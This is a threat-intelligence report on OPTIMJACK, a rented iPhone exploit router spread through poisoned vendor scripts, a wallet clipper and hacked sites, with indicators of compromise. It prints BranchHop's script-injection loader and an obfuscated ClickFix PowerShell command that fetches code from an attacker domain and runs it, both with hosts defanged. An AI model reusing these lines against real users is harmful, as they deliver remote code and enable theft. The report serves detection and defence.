iOS exploit kits

OPTIMJACK: the iPhone exploit on BBC and Zoom is for rent

The iPhone exploit router that reached BBC, Zoom and other sites through poisoned vendor scripts in November 2026 is a rental service. Its operator rents it by channel code, with a reseller console for the stolen data, and the vendor attack ran on the router's house channel.

A purple paper switchboard with four key hooks takes a thick amber tube from one large browser window and thin lavender tubes from three smaller ones; paper phones leave it on a conveyor toward three purple doors, while amber folders sit in a filing shelf beside a small amber bell.
Router entry fileembed.js, 2,007 bytes, one build on every router host
SHA-25684a59ad7dc91c05f7b3c82bec13c85fe633cbf075d5ccca57eef113b22b3795f
Operator's channel02111110, the lure template's default; on the vendor scripts from 13 November 2026
Renters31 channel codes besides the house channel, in use from 31 August 2026
Still upNine router hosts answering at 22:10 UTC on 18 November 2026

Key takeaways

  • The iPhone exploit router that poisoned vendor scripts loaded on BBC and Zoom ran on channel 02111110. Censys read it as naming no operator. It is also the default in the operator's own lure template and in the clipper's config, so we read it as the operator's own channel.
  • The operator rents the router by channel code. Renters get a reseller console that calls itself a backup centre, lists each phone's wallets, keystores, Keychain, messages and photos, and alerts them on Telegram. Headquarters can log in as any reseller. We hold 31 renter codes.
  • The vendor scripts loaded the router from an address of linkforge, a seller of hidden backlinks on hacked sites. On 9 November a post went up on the Telegram channel linkforge links; within four hours the router host got its certificate and linkforge's script swapped ad code for the router.
  • Renters include BranchHop, a fake-verification kit that put the router on 33 hacked sites, a LenAI operator and a gambling network. Registrars took down the vendor loader and linkforge on 17 and 18 November. Nine router hosts still answered at 22:10 UTC on 18 November.

Acknowledgements: Hudson Rock reported the poisoned vendor scripts in Poisoned Scripts on BBC, Zoom and Other Major Websites Linked to iPhone Exploit Loaders on 16 November 2026, which includes our archive work, and followed up on the four vendors the next day. Scott Helme of Report URI published the Optimizely timeline and the clipper's wallets. Censys documented the kit's MCH and Caishen consoles and its default channel. Amirul Cyber named the campaign OPTIMJACK.

On the morning of 13 November 2026, in the attack now called OPTIMJACK, scripts that Kissmetrics and StorifyMe serve to their customers began adding one tag to their pages: 5vobauua3ojpklx[.]icu/boot.js, with data-channel-code="02111110". On 16 November Optimizely's customer files did the same, on BBC, Zoom and other large sites. The script is a router. It hands each iPhone to an exploit kit for its iOS version, and the number tells it whose visitor this is. Censys, which found the same code as the kit's default, wrote that it "identifies no specific operator, and over a hundred deployments of this kit carry it." The code is also the default in the lure template the router's operator deploys, and the clipper config on Optimizely's files sets it too. We read it as the operator's own channel and call it the house channel. The operator rents the router to other criminals under codes of their own. Renters get a reseller console that calls itself a backup centre and messages them on Telegram when a new phone uploads. We hold 31 renter codes besides it. The attack on the vendors ran on the house channel.

Everything below comes from our scans, public scan archives, an archive of the web, passive DNS, registration records and public chain data, read up to 22:15 UTC on 18 November 2026; the screenshots were taken on 19 November.

Background

The router reached the big sites through their vendors. From 13 November Kissmetrics and StorifyMe served scripts that loaded it on their customers' pages, and by 16 November minute-ly and Optimizely did too. On 16 November Optimizely's customer files also loaded a wallet clipper, which swaps a copied wallet address for the attacker's, and a card skimmer. Optimizely's incident report of 17 November says the attackers got in by impersonating customers' admin users through a flaw in its sign-up flow.

Infrastructure

The operator's lure template sets the house channel

The operator's lure is a fake TRON shop that claims to rent out the energy TRON charges for transactions, and it loads the router for anyone who opens it. It is titled "Energy Rental - 24/7 Unattended Instant Delivery" (Figure 1). While the router works it shows a countdown: "Matching network resources, please wait...". Each copy reads its settings from a config.js file that opens with a comment in Chinese. In our translation: "Traffic config, generated by patch_domains.py: channel code from URL ?ch= first, also ?channelCode/?channel/?c". The file then names a router host and sets DEFAULT_CH, the channel used when the page's address carries none. Renters' copies set their own code. The template sets 02111110.

A dark page headed Energy Rental - 24/7 Unattended Instant Delivery, with the line Institutional-level energy proxy. Zero fees and instant arrival. A box reads Send TRX to rent instantly above the address TBHmGSLDFFF26DYaet2j91LWkTtRjmXPqF and a Copy Address button, then: Send 0.1TRX, 65k energy will be sent to your sending address within 10s automatically.
Figure 1: An Energy Rental lure on the house channel, with the shop's TRON payment address. Source: our scan of hhhgff[.]top, captured 19 November 2026.

The template was online at trxusa.xxccyy[.]xyz on 7 October with no router attached. The first lure on 02111110, gqulgsc5f87j8l7[.]icu, appeared in public scans on 21 October, and lures on that channel have used at least eight router hosts since. One copy keeps its developer's note, in Chinese, on where the router tag goes. In our translation:

Traffic igniter (must go at the start of body, not in head): boot.js's landing branch fires at once only when document.body exists. In head, with body not yet parsed, it waits for DOMContentLoaded, and this page's head has render-blocking Google Fonts and the Tailwind CDN. On a domestic network the font requests hang and push DOMContentLoaded past 20 s, delaying ignition for nothing (measured: 40 s controlled, versus 15 s on the old minimal 404 page).

We read "domestic" as mainland China and "controlled" as the exploit having the phone. The author measured 40 seconds from this page and 15 from an older, bare 404 page. Two spare hosts registered in the same minute as the house router t8d5qcrnupkve1x[.]icu still answer with that bare 404.

So 02111110 is the channel of whoever writes and deploys the template. The shop's TRON payment address was created on 14 May and did business in May and June: USDT payments in, and energy delegated to it from five accounts. The address was in use five months before any lure loaded the router. One copy of the shop prints a look-alike address instead, with the same first three and last four characters; it has never received anything.

Each renter gets a router host and a lure

Nine channels had their router host and lure registered together, most of them minutes apart. For channel 0649c29a, the router host apitrxenergysaver[.]com and the lure gmmelb1fxhvrf99[.]icu were registered in the same minute, 17:30 UTC on 10 November, at two different registrars. Every lure in the nine pairs is the same template.

The router's servers also run an admin console for resellers. On 16 November apirastone[.]xyz answered requests for embed.js with the console, in Chinese with an English locale. Its login page calls it the "AIGO agent backend" and dresses it as a cloud backup service, in a carousel beside the form (Figure 2): "Wallet data is end-to-end encrypted throughout. Wallet databases and addresses are encrypted on the device before upload, and only you hold the key."

A dark login page titled Agent login in Chinese, with the subtitle Sign in to the AIGO agent backend with an agent account, account and password fields, a Google sign-in button and a link to register an agent account. Beside it a carousel reads, in Chinese: Did you know... Sign in to use cloud backup. An account can store wallet data, chat records, app documents and device settings together in an encrypted cloud.
Figure 2: The reseller console's login page, served by a router server. Source: our scan of 0sq6nu69l06sk84[.]icu, captured 19 November 2026.

Its English labels read: "Hierarchy: Agent -> User -> Device. A user must belong to an agent; devices are attached to the user and inherit the attribution." Agents get a quota of users and devices and a login. They apply through a sign-up form that asks for an agent name and, optionally, a contact on Telegram or by phone, and are approved by "Headquarters" (Figure 3): "After you submit, the platform reviews it; once approved you can sign in."

A dark form titled Register agent account in Chinese, with the note After you submit, the platform reviews it; once approved you can sign in. Fields for agent name, login account, password, password confirmation, and optional contact person and contact details.
Figure 3: The console's sign-up form for new resellers. Source: our scan of 0sq6nu69l06sk84[.]icu, captured 19 November 2026.

We found the console on 14 hosts, the earliest registered on 14 August. A second console, MCH, which Censys documented, builds the links renters use: its channel screen takes a domain, a channel code and a key, and puts the code in ch and the key in k.

The console calls itself a backup centre, and its screens show what a renter gets for a channel (Figure 4):

  • For each phone, its wallet apps and imToken and BitKeep wallet storage.
  • Wallet keystores, the encrypted key files, which the renter can decrypt in the console with the wallet's password to show the private key and recovery phrase.
  • The Keychain, where iOS keeps saved passwords, and Telegram, WhatsApp, photos, contacts and location.
  • The battery, the temperature and "Kernel status: Unlocked".
  • A rules screen that sets up a "Silent backup" of chosen categories.
  • A Telegram bot that messages the renter on a new phone's first "Data Upload" and sends a daily summary.
  • A promo link and a QR code per channel; the example names are "TikTok channel" and "Douyin promo channel".

The rules screen also notes what iOS still keeps out of reach: "SMS / call history, the main calendar database and the main notes database are protected by the system and cannot be backed up." MCH's onboarding screen tells renters the same thing as the backup centre: their channel's devices and wallet data show up in their account.

A device details screen with tabs for Device details, Wallet, Wallet data (decryptable), Wallet apps, Installed apps, Reported data, Key file parsing and Backups. Runtime status lists battery, device temperature, low power mode, network and IP address; Engine and data shows Kernel status: Unlocked and Data capability: Readable, Blocked, Missing. A wallet summary counts total wallets, decryptable, needs keychain, needs TEE and no key data. A note reads: All files are standard encrypted keystores: click Enter password to decrypt online with the wallet password and read the address and private key directly.
Figure 4: The console's device screen, rebuilt from its own interface labels. The layout is ours, and every value is a label or a placeholder. Source: the console's code files, collected 18 November 2026.

Headquarters keeps the keys (Figure 5). Its agent screen has "One-click login" into any reseller's portal and "Force unbind two-factor" on a reseller's account. The attribution screen lists why a phone might not reach its reseller, among them "Invalid channel code", "Agent disabled" and "Agent quota exceeded", and has a bucket called "Headquarters (unattributed)". Headquarters can transfer users to a reseller, and "Transferring users also moves their devices".

Two panels. TG Notification Settings: add the official bot to your group, with events New Device Online, Data Upload (always sent for the first upload of a new device, then at most once per device per day), Backup Failed, Daily Summary and Login Alert. Agents: actions One-click login, Reset password and Force unbind two-factor; attribution sources Channel attribution, Invalid channel code, Agent disabled, Agent quota exceeded, App removed and Manual transfer; Headquarters (unattributed); Transferring users also moves their devices.
Figure 5: A reseller's Telegram alert settings and headquarters' agent controls, rebuilt from the console's interface labels; the layout is ours. Source: the console's code files, collected 18 November 2026.

The console can also hand out an enterprise-signed iPhone app, one installed outside the App Store, and its own app channels use a different code format from the router's. A second exploit loader on a server that serves 02111110 lures comes closer: it lists 26 things to collect, among them imToken, BitKeep and the Notes, Telegram and WhatsApp data, the console's list. The console runs as at least three separate deployments, each with its own settings. One is titled "Big White Rabbit's little nest", with "888" typed into its filing-number field.

The vendor scripts loaded the router from linkforge's address

The poisoned vendor scripts all loaded one file, webshell[.]lol/get.js. Report URI traced it to linkforge, which sells hidden links on hacked sites to buyers who want search rankings. The address is older than linkforge: a public scan report has a hacked site loading it on 4 March 2026, as a backlink snippet, when two public DNS resolvers already blocked the name. linkforge[.]cc was registered on 11 April, and from 25 April the address served linkforge's snippet.

linkforge's hacked sites also load a script called connector.js, with Turkish comments and one slot between the code that loads it and the code that writes the links. On 2 November the slot held an ad network's code. In the revision last modified at 19:03:47 UTC on 9 November, it loads the router on 02111110, and nothing else changed apart from the site key. linkforge sold the visitors of its sites three times over: links to its buyers, then ad impressions, then the router. BIBILZERODAY is the Telegram channel linkforge's homepage now links, and the name Censys gives, with moderate confidence, as the exploit loader's vendor. On 9 November the steps came in order (UTC):

Time What happened
15:29 A post on BIBILZERODAY listed a session ID and a download link.
17:23 5vobauua3ojpklx[.]icu, the router host the vendors would load, got its certificate. It also covers p55abnw2pnsz0bo[.]icu, a lure on 02111110, and je4ft3gn8vxudum[.]icu, where Censys saw the MCH console.
19:03 linkforge's connector.js switched from the ad code to the router.

get.js followed. On 12 November it served the router tag followed by linkforge's connector, and from 05:42 on 13 November a 400-byte router loader alone, the file the vendors' customers received. Archived copies of 26 affected vendor files show none loading it before 13 November. Kissmetrics' i.js was clean at 17:06 on 12 November and loaded it by 08:55 on 13 November, and the first vendor customer page to load it in public scan archives is at 05:42:14 that morning.

Optimizely's incident report puts the first impersonated account at 00:37 UTC on 16 November and the first malicious code written to a customer project at 07:51. A BBC project file already loaded the router at 03:55, almost four hours before that, and a public scan of www.bbc.co.uk received it at 04:21.

Who rents the router: BranchHop, LenAI and a gambling network

Some renters' codes are runs of keys: 1234551, 12345789, 00000123450. What they used the router for:

Channel Router host Pages that carried it First seen (UTC)
8b6cf8a0 pgone-ck7.pages[.]dev nenwu[.]vip, a TRX energy refund page 2026-08-31 05:39
555636 landlyzes[.]xyz Fake Trust Wallet sites 2026-11-10 16:23
1234551 003newother[.]net brioli[.]vip, a dating site 2026-11-12 02:01
6f2790fa adminetole[.]icu Eight hacked sites carrying LenAI 2026-11-12 18:37
0649c29a apitrxenergysaver[.]com 33 hacked sites carrying BranchHop 2026-11-13 07:50
ddcc8759 6xicduvopkxpyev[.]icu A Chinese gambling redirect network 2026-11-15 08:16
877d0432 6xicduvopkxpyev[.]icu 3601688[.]cc, a Dogecoin prize draw 2026-11-16 13:51
f82307fc fqzxmpftqgogmk3[.]icu A hidden frame on a Vietnamese contractor's site 2026-11-17 01:36

BranchHop loads a stage script from its own server into hacked WordPress sites. Two and a half days after channel 0649c29a was registered, at 07:50 UTC on 13 November, that script gained the router line. At 18:05 on 14 November BranchHop switched to a stage script without it.

LenAI is a fake-verification kit rented to several operators. One of them wrote the router tag directly after LenAI's loader on eight sites from 12 November, and five still requested it on 18 November. The gambling network carried the router from 15 to 17 November. The Dogecoin draw's domain, 3601688[.]cc, was registered an hour after the clipper's 1688360[.]cc on 16 November, at the same registrar with the same name servers.

Technical analysis

Every page that carries the router follows the same path, whoever rents the channel (Figure 6):

How a page reaches an exploit kit through the routerHacked site, lure or poisoned vendor scriptembed.js?ch=CODE, or a boot.js tagwith data-channel-code=CODEboot.js on a router host, carrying the channel codeDesktop browserAn empty fileiPhone, iOS 13 to 17CorunaiPhone, iOS 18.4 to 18.7.2DarkSwordiPhone, iOS 18.7.3 and laterGhostWave, graded "research"
Figure 6: The router's path from a page to an exploit kit, drawn from its files. Source: the router's embed.js and boot.js and the exploit loader's comments, collected November 2026.

Stage 1: A page loads embed.js with a channel code

BranchHop's version of the line is one function appended to its stage script kyc1.js (host defanged):

(function () {
    var script = document.createElement('script');
    script.setAttribute('data-cfasync', 'false');
    script.src = 'hxxps://apitrxenergysaver[.]com/embed.js?ch=0649c29a';
    document.head.appendChild(script);
})();

embed.js is the same 2,007-byte build on every router host, and its Chinese header calls it a one-line integration for third-party sites. It adds boot.js from its own host with the channel and touches nothing else. linkforge, the vendor scripts and one LenAI operator skip it and write the boot.js tag themselves, with the channel in data-channel-code.

Stage 2: boot.js sends each iPhone to Coruna, DarkSword or GhostWave

A desktop browser that requests boot.js gets an empty file. An iPhone on iOS 13 to 17 goes to Coruna, on iOS 18.4 to 18.7.2 to DarkSword, and on 18.7.3 and later to GhostWave, a DarkSword fork the kit's notes grade "Do not treat GhostWave as production-ready". boot.js holds no channel of its own; it takes the one in its tag or passed by embed.js.

On 16 November the house router t8d5qcrnupkve1x[.]icu answered a browser reporting iOS 18.6 with an exploit loader whose comments, in Chinese and English, explain its choices:

  • "DarkSword primary RCE patched on 18.7.3+; full chain closed by 26.3" (in English in the file).
  • "iOS 19 to 25: unreleased, B9 only reserves a boot.js dispatch slot."
  • "From iOS 26 Safari freezes the OS segment as 'iPhone OS 18_6'; the real version is only in Version/26.x."

An iPhone on iOS 26 tells websites it runs iOS 18.6, so the router reads the real version from Safari's own version string.

The loader is written so the victim notices nothing. It gives up after one crash rather than retry: "Stop after one WebContent crash, never retry the same worker (otherwise Safari shows 'a problem repeatedly occurred')." While it works, the page shows a status line in Traditional Chinese: "Privilege escalation, finishing in the background".

The exploit loader is not this operator's alone. A build sharing 40 of its 60 comment lines runs on other servers, and a developer's patched copy on another host records a problem with "the test phone's network". What belongs to this operator is the router and its channels.

Stage 3: The vendors' clipper config also loads the router

On 16 November Optimizely's customer files began loading 1688360[.]cc/track.js. Its first build, at 08:10, is a small rule engine that checks each rule against the visitor's device, country and a percentage. The config holds two rules:

{"id":5,"n":"Crypto address clipper (all countries)","a":"js","st":0,"pc":100}
{"id":2,"n":"iOS boot.js loader","a":"js","st":0,"pc":100,"d":["ios"]}

Rule 5 swaps a copied wallet address for one of the clipper's own. Rule 2 runs on iOS only and loads 5vobauua3ojpklx[.]icu/boot.js on 02111110. Report URI dates the card skimmer to 13:43. Optimizely's report lists three indicators, credited to Mandiant: pay-cloud[.]online, pay.pay-cloud[.]online and pay-relay.wordpressadmin001.workers[.]dev. None of the poisoned vendor files we hold names them. In public scans those hosts serve a different skimmer, built per shop, that encrypts the card fields, cardholder name included, and posts them to the workers.dev relay. The report's description mixes the two: the cardholder name matches that skimmer, while the screenshot and cookies match track.js.

BranchHop's own scam: a ClickFix PowerShell command for Windows visitors

BranchHop ran its own scam before and after it rented the channel. From 3 November its hacked sites showed a fake Cloudflare check, titled "Checking if you are human", with an "I'm not a robot" box. It is a ClickFix page: it copies a command to the clipboard and tells the visitor which keys to press to paste and run it. While the router line was in its stage script, iPhones went to the router and Windows visitors could still get the box. Our scan of antiquary.od[.]ua at 03:23 on 14 November recorded both. Figure 7 shows the box before the click.

A Cloudflare logo beside the hacked site's name, blacked out, an I'm not a robot checkbox with Cloudflare branding, and the line: [site] needs to review the security of your connection before proceeding.
Figure 7: BranchHop's fake check on a hacked site, before the click; the site's name is redacted. Source: a public scan archive, captured 18 November 2026.

The stage script asks BranchHop's server whether to show the box. When the server takes the visit it returns a loader that writes the box over the site; otherwise it returns nothing. In our scans on 18 November, 29 pages loaded the stage script and nine got the box. The text it copies is (host defanged):

powershell -NoProfile -c "&  ((Get-Command|?{$_.Name -match ('vok.*Re'+'st')})[0].Name)('anycheckgocap[.]com')|& ((Get-Command| ?{$PSItem.Name -match ('vo'+'k.*Ex')})[0].Name)"

The command never spells out what it runs: it looks up Invoke-RestMethod and Invoke-Expression by pattern, then fetches whatever anycheckgocap[.]com returns and runs it. That domain was registered on 12 November and replaced vericheckusgo[.]com; from 14 to 18 November we recorded 34 BranchHop pages using it.

Impact

What the vendor scripts reached

For the vendor scripts, Report URI counted 188 of 1,611 Optimizely snippets across 178 organizations. We hold no count of compromised phones. Public scans show the chain working from vendor pages. On 16 November two scans of GitLab's poisoned page, with browsers reporting iOS 17.5 and 18.6, received the exploit stage. It reported the visit to the operator's server with the GitLab address and channel 02111110, and got back {"ok":true}. Tricentis's Optimizely project requested the clipper at 12:40 on 16 November, and the page's Content Security Policy, its list of allowed script sources, blocked the request. In public scan archives, 28 visits received a track.js build with the card skimmer, and none caught a card leaving. An ad-security vendor's blocklist already named webshell[.]lol and 5vobauua3ojpklx[.]icu on 14 November, two days before the first public report.

Where the money went

The clipper's wallets received coins on 16 November, which Report URI published. Most of the Bitcoin came from a swap of the wallets' own stablecoins, which Bitquery traces. The wallets were swept on 17 November between 04:11 and 05:39. Galaxy Research put what victims sent at about $2,300. The swapped stablecoins went to exchange deposit addresses that pool many senders; the TRON one moved 13.2 million USDT in five days.

What the takedowns stopped

Registrars put 1688360[.]cc, 3601688[.]cc and webshell[.]lol on hold on 17 November and linkforge[.]cc on 18 November. That took down the delivery; the service kept running. At 22:10 on 18 November nine of 24 router hosts we requested still returned embed.js, Energy Rental lures on six channels were up, and BranchHop's sites were still copying the anycheckgocap[.]com command.

Indicators of compromise (IOCs)

Network indicators

Router hosts

Indicator Channel Context
apitrxenergysaver[.]com 0649c29a BranchHop's sites; served embed.js on 18 November
5vobauua3ojpklx[.]icu 02111110 Vendor wave, linkforge connector
t8d5qcrnupkve1x[.]icu 02111110 Router for hhhgff[.]top
api.aksdk[.]lol 02111110 Router for gngaas[.]com
gqulgsc5f87j8l7[.]icu 02111110 First house-channel lure and its own router, 21 October
xcn398xeud82s[.]icu 02111110 October batch; served embed.js on 18 November
api.mkgrudgs9vf0vea[.]icu 02111110 Router for mkgrudgs9vf0vea[.]icu
6xicduvopkxpyev[.]icu 02111110, ddcc8759, 877d0432 Template default; gambling network; Dogecoin draw
5yedpf632rk3t98[.]icu 70891c87, 02111110 Served embed.js on 18 November
w57n6yp234ka5fd[.]icu Peer host named inside the 5yedpf632rk3t98[.]icu boot.js
landlyzes[.]xyz 555636 Fake Trust Wallet sites; served embed.js on 18 November
123packotheros[.]net 67676711, 55467, 1234590 Served embed.js on 18 November
003newother[.]net 1234551, 12345789 Served embed.js on 18 November
apirastone[.]xyz 7aea5ce8, da02b45d Returned the admin panel page on 16 and 18 November
adminetole[.]icu 6f2790fa LenAI tenant's sites
alipcheckallcinda[.]com cebe8a2b Served embed.js on 18 November
apicoinmarket[.]top de1b6709 Served embed.js on 18 November
0101jojojescosososoweresce[.]net 00000123450 Served embed.js on 18 November
b92zuxa95z24nha[.]icu 560469eb Returned the admin panel page on 18 November
csjdioj[.]xyz 39046392
api.1vn93s2f4g06hb[.]icu 36bd05b6
p2zcds8wa8mr1rs[.]icu 01f94083
pgone[.]icu 91a16711 Registered 12 September 11:31
oiolla[.]icu eaa22f94 Registered 12 September 11:25
7mslots[.]com c7ijqgz1
she-g8f.pages[.]dev 9cbdf797
fk-94e.pages[.]dev 94379d32
pgone-ck7.pages[.]dev 8b6cf8a0 Earliest router use we hold, 31 August
fqzxmpftqgogmk3[.]icu f82307fc Hidden iframe target; serves the admin panel
yapilandlyzes[.]xyz, pdiqt5t34dg0xvo[.]icu Served embed.js on 18 November, on the landlyzes[.]xyz server
aovozcivfgwb7i6[.]icu, 6ykt166cxjvdq7a[.]icu Served embed.js on 18 November, on the cebe8a2b server
b08t0mu6xp9t7so[.]icu, scgaky0yv5ck3dp[.]icu Served embed.js on 18 November, on the 0649c29a server
170x29j3o5vd9am[.]icu, j79azl8apbibwdz[.]icu, 001newadminka[.]net Served embed.js on 18 November, on the 12345789 server
mpbd5tuzv2ttu5s[.]icu, p8tz2yvvc3843rr[.]icu, 123packadminoff[.]net Served embed.js on 18 November, on the 1234590 server
je4ft3gn8vxudum[.]icu 02111110 On the vendor router's certificate; MCH console seen there by Censys
eil786npto9u5bq[.]icu, 1y69gy2mdzaltz1[.]icu, gm38duxoihbmy5o[.]icu 02111110 House-channel hosts in the 5vobauua3ojpklx[.]icu DNS group
d3ddd0c7wz9ksyf[.]icu House-channel spare on 107.149.107[.]57; MCH console on 14 October
h84jgcrk7qobuu8[.]icu, ditz0cfpcwhkfay[.]icu Spares registered with t8d5qcrnupkve1x[.]icu; bare 404 page
k53e7aanzv6ryi5[.]icu, iv967nkhvtbclqo[.]icu On the October batch server; empty boot.js
api.shiyuen[.]com 4ac656b9 Named in stored lure configurations
crgaw9l463d0yf3[.]icu 6ce7c313, 37899081 Named in stored lure configurations
oqcboin[.]com A developer's patched copy: lure, router and API on one host

Lures

Indicator Channel Context
gmmelb1fxhvrf99[.]icu 0649c29a Energy Rental
hhhgff[.]top, gngaas[.]com, p55abnw2pnsz0bo[.]icu, itzh0makmnzm2ff[.]icu, bsy56gk7146jgb8[.]icu, mkgrudgs9vf0vea[.]icu, 9nqjzgk3edqkghk[.]icu 02111110 Energy Rental
trxusa.xxccyy[.]xyz Energy Rental template with no router, 7 October
index-cdn[.]com 7aea5ce8 Energy Rental
apitrustwalletcryptocheck[.]com, 32gm3bnbbz1hod4[.]icu, 4y074br5b099nq7[.]icu, aq1itcfvlqqywx5[.]icu, ey3w00ix8nyqbeo[.]icu, asgaskjgthaskjg[.]xyz cebe8a2b Energy Rental and a fake Trust Wallet page
0011newlanding[.]xyz, 0p4989c7ni4inzb[.]icu, 59j646z09rlrkjy[.]icu, dk9vrppr0hrwckz[.]icu, g218b7tpx3ycq0g[.]icu, jtqe443umr28yac[.]icu, zjrhowihcwih6py[.]icu 12345789 Energy Rental
dz6r0hkir00r7g8[.]icu 1234590 Energy Rental
2i1j0extb7l4nv6[.]icu, uersjhfz[.]com 39046392 Energy Rental
6qgzc9wozm8ddc8[.]icu 36bd05b6 Energy Rental
274i2eicw6fohd2[.]icu, mlr6nvp2p672n4l[.]icu de1b6709 Energy Rental
du.p2zcds8wa8mr1rs[.]icu 01f94083 Energy Rental
xw7j3qph6qk6k7c[.]icu 00000123450 Energy Rental
yn6ix3v2omuxo26[.]icu 560469eb Energy Rental
trustwallet-001[.]cc, trustofficialcopmany[.]net 555636 Fake Trust Wallet
trustserviceone[.]com 55467 Fake Trust Wallet
my-spend-card[.]cc 67676711 Card site
brioli[.]vip 1234551 Dating site
51miaoxin[.]top 70891c87 SMS service
haowo[.]vip, nenwu[.]vip, tfyuy[.]vip 91a16711, 8b6cf8a0
hg050[.]org, dsxly[.]space eaa22f94
tng711my[.]com c7ijqgz1 Casino
skypei.com[.]cn, line-jvip.com[.]cn 4ac656b9 Energy Rental, in stored configurations
807147269455[.]com, 706484259455[.]com 6ce7c313, 37899081 Energy Rental in stored configurations; gambling pages on 18 November
tengchong[.]vip Energy Rental copy with the template's payment address
vippp666[.]com Energy Rental copy with a look-alike payment address
54857535[.]cc, 4582036[.]cc ddcc8759 Gambling redirect doorways, 15 November

BranchHop stage and command hosts

Indicator Context
adsmanagertgo[.]click Stage files ads2.js, kyc.js, kyc1.js, cer.js, kyc2.js
adsmanagerast[.]pro change.php for the kyc stage files
checckingcero[.]com change.php for cer.js
manageradsforsites[.]com ads.php, 3 to 11 November
vericheckusgo[.]com Host in the copied command, 3 to 11 November
anycheckgocap[.]com Host in the copied command, from 12 November
dfksadfkmfsmksd[.]pro miss.php, named in ads3.js on 7 November
94.26.0[.]162 anycheckgocap[.]com address, 15 November

Clipper and delivery

Indicator Context
1688360[.]cc track.js, hit.php, card.php, /px, /_geo
3601688[.]cc Dogecoin draw on channel 877d0432
webshell[.]lol get.js, loaded by the vendor files
linkforge[.]cc Backlink panel; connector.js
pool.linkforge[.]cc linkforge panel login and bot
niko-ngx-schema[.]com Serves the same linkforge snippet at get.js
t.me/BIBILZERODAY Telegram channel linked from linkforge's homepage

Admin panel

Indicator Context
plrfpdm7ixsu3nl[.]icu Earliest panel host, registered 14 August
index-cdn[.]com, apirastone[.]xyz, b92zuxa95z24nha[.]icu Returned the panel page, 16 to 18 November
0sq6nu69l06sk84[.]icu, w4ueia3gui6xja2[.]icu, qt.plrfpdm7ixsu3nl[.]icu, oj00let39yzb04h[.]icu, av6i34enwu2znyz[.]icu, 0prh9eektmeyc92[.]icu "Mch iso" deployment
l3wor5lgdquinef[.]icu, fqzxmpftqgogmk3[.]icu, le45j5qtd89gzsc[.]icu, 9c49r3wq7n066sf[.]icu, z6lr2s52ygkw0x0[.]icu "Backup centre" deployment
aq97suppebber8y[.]icu, 0t4oy53dcaruujv[.]icu, s3vi667nvnrawmx[.]icu, 202df7pbsqlg1h8[.]icu "Big White Rabbit's little nest" deployment
d1i1waaafq9qihx[.]icu/admin/ MCH console, built 5 November
mch.34-96-213-201.sslip[.]io, c2.34-96-213-201.sslip[.]io On the vendor router's server

IP addresses

Indicator Context
34.96.213[.]201 5vobauua3ojpklx[.]icu, p55abnw2pnsz0bo[.]icu, je4ft3gn8vxudum[.]icu on one certificate
107.149.107[.]57 House router t8d5qcrnupkve1x[.]icu, its lure and spares
180.178.56[.]90 October batch: house router, lures, MCH console
18.166.95[.]198, 159.65.6[.]120 House-channel lures and routers
34.124.226[.]157 6xicduvopkxpyev[.]icu, 3601688[.]cc, gambling doorway labels
136.113.106[.]136 1688360[.]cc
85.239.149[.]104 cebe8a2b router and lures
43.110.148[.]67 5yedpf632rk3t98[.]icu, w57n6yp234ka5fd[.]icu
5.104.73[.]91, 94.26.90[.]223, 87.58.199[.]133, 87.120.104[.]183, 91.92.43[.]115, 91.208.197[.]151 Router hosts
31.77.124[.]82 apirastone[.]xyz router and admin panel
47.79.5[.]108, 8.218.238[.]7, 52.128.238[.]226 Admin panel deployments
35.220.250[.]231, 35.241.119[.]20, 34.150.15[.]39 Gambling doorway bounce, port 20443

File hashes (SHA-256)

Indicator Context
84a59ad7dc91c05f7b3c82bec13c85fe633cbf075d5ccca57eef113b22b3795f embed.js, 2,007 bytes
67294c38ea0402f2b9b766818b08b3bf10d18c6d4c794cffda8a73cc46cee992 boot.js, 11,858 bytes, 6xicduvopkxpyev[.]icu
6b9c37c0d14c6223425394a6ca90f9582825fff4d7dbb9db64b23d55e7ae6543 boot.js, 11,859 bytes, 5yedpf632rk3t98[.]icu
5968bd3616832f7325e1f76d993e456e1b5bd05566d6158f66abd8733bdf1355 B9/b.html on 02111110, 5,280 bytes
3b817e478dbc841d32c24da509b27817d60ddc6e2983f8306da42a8d90809939 B9/rce_loader.js, 55,699 bytes
bf69bb7d166407bcf5298abbdfc3c946c949ef5db6a9740f2d855a3a6999cd54 B9/rce_worker_18.6.js, 763,204 bytes
d14d69a58d9c71a999efa91c107ee80e809b65810001dda73a2185a25a346ec3 Energy Rental page, 45,304 bytes, 6xicduvopkxpyev[.]icu
c691789b7095d897fee9a1778fddb2fab2d917cebdd7a9599219caabbf21d42c BranchHop ads2.js, 2,438 bytes
2e47fb0db938d2593cb42fd439dad94f676e7adf43a3cf88a2b1568e2e335709 BranchHop kyc.js, 2,496 bytes
4040338876ea3499da3682f5af2f4c21cf9bf76ef6261f42193ee8d136580743 BranchHop kyc1.js, 2,738 bytes, with the router lines
dae13482a6f808609ca74f242554c214e15a45e8e3d386db5ce0711fe3d57aa9 BranchHop cer.js, 2,586 bytes, with the router lines
e7623cc24f2d0261d9480b039829649203193b6624f385c0831b802d19b69d91 BranchHop kyc2.js, 2,498 bytes
097dbae402dc7f373b3bf868dc93c415ee7626936bf3282fc56b09f612cecb25 BranchHop ClickFix page from change.php, 4,275,681 bytes
83159b7b7d1654359a6e1c662c5c9e6f02142b5b4af1a09cdeca410d209b8434 BranchHop ClickFix page from ads.php, 4,275,721 bytes
123f813b18cf5a3b513beabd52a110e19f1c7834f2aa9b972633b2214c57e737 webshell[.]lol/get.js router loader, 400 bytes
72012e7fd4cdf62355ef1c7d171c293135e374c8160e2b0c5146d87318c015a5 linkforge connector.js with the router tag, 11,669 bytes
b00f7c7eeb20ffd0ab0935bc9fb973b5d94996bc26fd7d39dbefa8733dfbcd07 Admin panel index page, 1,246 bytes
796e12762cec927f39b9c23d79eb32592494bb2fab28093d98c39e4896230400 Admin panel main bundle, 832,508 bytes

Wallet addresses

Indicator Context
19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW Clipper, BTC
ltc1q3wp7g6ds0ggg6fl6kncpa4sepn0q3qfacgred5 Clipper, LTC
THvs6p56XkUiMkJeSc51cAP64u2RsTYqxa Clipper, TRON
0xC4026b06D82b0F0B363eda0642D61CfbDc17884e Clipper, EVM
0x7005b45DE07e1b70DCD38eE3A708CFD88A6c7f8e Received 4,310.81589 USDC from the clipper's ETH wallet, 16 November 13:03:59
TD64NDwZfQB6UASW2Xz6hWrz1T12p1pxL7 Received 546.8 USDT from the clipper's TRON wallet, 16 November 13:05:06
TMLQvDvpgSyx94maptc3TxvmCVtT5qHVup Received 116.08726 USDT from the clipper's TRON wallet, 17 November 04:13
